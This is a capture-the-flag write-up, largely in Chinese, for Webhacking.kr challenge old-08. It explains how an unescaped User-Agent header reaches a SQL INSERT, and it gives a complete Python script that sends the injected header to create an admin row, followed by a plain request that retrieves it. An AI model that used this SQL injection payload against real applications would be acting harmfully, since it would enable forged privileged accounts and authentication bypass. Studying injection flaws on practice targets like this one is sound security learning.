Webhacking.kr old-08

Challenge

The page records a User-Agent and later trusts the stored identity.

页面记录 User-Agent,随后信任数据库中保存的身份。

1
https://webhacking.kr/challenge/web-08/

Analysis

源码用 getenv("HTTP_USER_AGENT") 得到 $agent,并把它直接拼进 INSERT:

1
insert into chall8(agent,ip,id) values('$agent','$ip','guest')

查询阶段却对 $_SERVER['HTTP_USER_AGENT'] 使用 addslashes()。因此第一次请求可以利用未转义的 INSERT 创建 agent=hacked, id=admin 的记录;第二次请求只需使用同一个普通 hacked User-Agent,查询就会取到这条记录并满足 id == admin。

Solution

下面的脚本按顺序发送两次请求。第一条 User-Agent 以单引号结束第一条 values,再追加一条 admin 记录;第二条请求使用插入记录的 agent 值。requests 会保留 header 中的引号、逗号和括号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import os
import sys

import requests

URL = os.environ.get(
"OLD08_URL", "https://webhacking.kr/challenge/web-08/"
)
INJECTION_USER_AGENT = "hacked','1','admin'),('hacked"
NORMAL_USER_AGENT = "hacked"

def request_with_user_agent(
session: requests.Session, user_agent: str
) -> requests.Response:
response = session.get(
URL,
headers={"User-Agent": user_agent},
timeout=10,
)
response.raise_for_status()
return response

def main() -> int:
with requests.Session() as session:
inserted = request_with_user_agent(session, INJECTION_USER_AGENT)
print(inserted.text)
result = request_with_user_agent(session, NORMAL_USER_AGENT)
print(result.text)
return 0

if __name__ == "__main__":
sys.exit(main())

拼接后的 INSERT 关键部分等价于:

1
2
INSERT INTO chall8(agent, ip, id)
VALUES ('hacked', '1', 'admin'), ('hacked', '<request-ip>', 'guest')

第二次请求必须使用 hacked,而不能再次发送注入字符串,因为查询阶段的 addslashes() 会改变带引号 payload 的含义。

插入行使用固定的 '1' 作为 IP,因此不依赖服务器为当前请求分配的来源地址。